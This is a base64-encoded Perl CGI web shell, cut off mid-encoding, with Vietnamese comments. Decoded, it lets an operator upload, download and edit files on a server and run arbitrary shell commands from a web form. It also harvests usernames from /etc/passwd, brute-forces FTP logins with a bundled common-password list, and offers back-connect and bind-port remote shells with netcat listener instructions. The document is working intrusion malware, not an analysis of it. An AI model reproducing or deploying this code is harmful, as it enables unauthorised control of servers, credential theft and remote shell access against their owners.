LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IE9wZW4gU2FuczsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7CglpZigtdyAkRmlsZSkKCXsKCQkkcm93cz0iMjMiCgl9ZWxzZQoJewoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBPcGVuIFNhbnM7IGNvbG9yOiB5ZWxsb3c7JyA+IFBlcm1pc3Npb24gZGVuaWVkITxmb250Pjxicj4iOwoJCSRyb3dzPSIyMCIKCX0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCSRyZWFkPSgkV2luTlQpPyJ0eXBlIjoibGVzcyI7CgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOwoJJHJlc3VsdCAuPSAgPDxFTkQ7Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgoJJFByb21wdAoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4KCTxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+Cgk8YnI+Q29tbWFuZDogPHJ1bj4gJFJ1bkNvbW1hbmQgPC9ydW4+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnCgk8YnI+PHRleHRhcmVhIGlkPSJkYXRhIiBuYW1lPSJkYXRhIiBjb2xzPSIkY29scyIgcm93cz0iJHJvd3MiIHNwZWxsY2hlY2s9ImZhbHNlIj4KRU5ECgkKCSRyZXN1bHQgLj0gJlJ1bkNtZDsKCSRyZXN1bHQgLj0gICI8L3RleHRhcmVhPiI7CgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgU2F2ZSBGaWxlCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlKCQpCnsKCW15ICREYXRhPSBzaGlmdCA7CglteSAkRmlsZT0gc2hpZnQ7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsKCWlmKG9wZW4oRklMRSwgIj4kRmlsZSIpKQoJewoJCWJpbm1vZGUgRklMRTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJcmV0dXJuIDE7Cgl9ZWxzZQoJewoJCXJldHVybiAwOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCcnV0ZSBGb3JjZXIgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlckZvcm0KewoJbXkgJHJlc3VsdD0iIjsKCSRyZXN1bHQgLj0gPDxFTkQ7Cgo8dGFibGU+Cgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPgpTaW1wbGUgRlRQIGJydXRlIGZvcmNlcjxicj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPgpFTkQKY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsKJHJlc3VsdCAuPSA8PCdFTkQnOwo8L3RleHRhcmVhPjwvdGQ+Cjx0ZD4KClBhc3M6PGJyPgo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzCjEyMyFAIwoxMjNhZG1pbgoxMjNhYmMKMTIzNDU2YWRtaW4KMTIzNDU1NDMyMQoxMjM0NDMyMQpwYXNzMTIzCmFkbWluCmFkbWluY3AKYWRtaW5pc3RyYXRvcgptYXRraGF1CnBhc3NhZG1pbgpwQHNzd29yZApwQHNzdzByZApwYXNzd29yZAoxMjM0NTYKMTIzNDU2NwoxMjM0NTY3OAoxMjM0NTY3ODkKMTIzNDU2Nzg5MAoxMTExMTEKMDAwMDAwCjIyMjIyMgozMzMzMzMKNDQ0NDQ0CjU1NTU1NQo2NjY2NjYKNzc3Nzc3Cjg4ODg4OAo5OTk5OTkKMTIzMTIzCjIzNDIzNAozNDUzNDUKNDU2NDU2CjU2NzU2Nwo2Nzg2NzgKNzg5Nzg5CjEyMzMyMQo0NTY2NTQKNjU0MzIxCjc2NTQzMjEKODc2NTQzMjEKOTg3NjU0MzIxCjA5ODc2NTQzMjEKYWRtaW4xMjMKYWRtaW4xMjM0NTYKYWJjZGVmCmFiY2FiYwohQCMhQCMKIUAjJCVeCiFAIyQlXiYqKAohQCMkJCNAIQphYmMxMjMKYW5oeWV1ZW0KaWxvdmV5b3U8L3RleHRhcmVhPgo8L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+Cgo8b3B0aW9uPjA8L29wdGlvbj4KPG9wdGlvbj4xPC9vcHRpb24+CjxvcHRpb24+Mjwvb3B0aW9uPgoKPG9wdGlvbj4zPC9vcHRpb24+Cjwvc2VsZWN0PiAKPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InN1Ym1pdCIgdmFsdWU9IkJydXRlIEZvcmNlciIvPjwvdGQ+PC90cj4KPC9mb3JtPgo8L3RhYmxlPgpFTkQKcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlcgp7CglteSAkcmVzdWx0PSIiOwoJJFNlcnZlcj0kRU5WeydTRVJWRVJfQUREUid9OwoJaWYoJGlueyd1c2VyJ30gZXEgIiIpCgl7CgkJJHJlc3VsdCAuPSAmQnJ1dGVGb3JjZXJGb3JtOwoJfWVsc2UKCXsKCQl1c2UgTmV0OjpGVFA7IAoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7CgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsKCQljaG9tcChAdXNlcik7CgkJY2hvbXAoQHBhc3MpOwoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOwoJCWZvcmVhY2ggJHVzZXJuYW1lIChAdXNlcikKCQl7CgkJCWlmKCEoJHVzZXJuYW1lIGVxICIiKSkKCQkJewoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQoJCQkJewoJCQkJCSRmdHAgPSBOZXQ6OkZUUC0+bmV3KCRTZXJ2ZXIpIG9yIGRpZSAiQ291bGQgbm90IGNvbm5lY3QgdG8gJFNlcnZlck5hbWVcbiI7IAoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkKCQkJCQl7CgkJCQkJCSRyZXN1bHQgLj0gIjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyJz5bK10gZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcjwvYT48YnI+XG4iOwoJCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQkJCWJyZWFrOwoJCQkJCX0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQoJCQkJCXsKCQkJCQkJc2xlZXAoaW50KCRpbnsnc2xlZXAnfSkpOwoJCQkJCX0KCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQl9CgkJCX0KCQl9CgkJJHJlc3VsdCAuPSAiXG48YnI+PT09PT09PT09PT4+Pj4+Pj4+Pj4gRmluaXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XG4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJhY2tjb25uZWN0IEZvcm0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmRGb3JtCnsKCXJldHVybiA8PEVORDsKCTxicj48YnI+CgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+CgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjciIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPgoKCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQoJPGJyPlsrXSBUcnkgY2hlY2sgeW91ciBQb3J0IHdpdGggPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPgoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT4KCgk8YnI+PGJyPgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+CgoJPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIxNDEyIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPgoKCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9IlRISUVVR0lBQlVPTiI+PC90ZD4KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCEKCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiP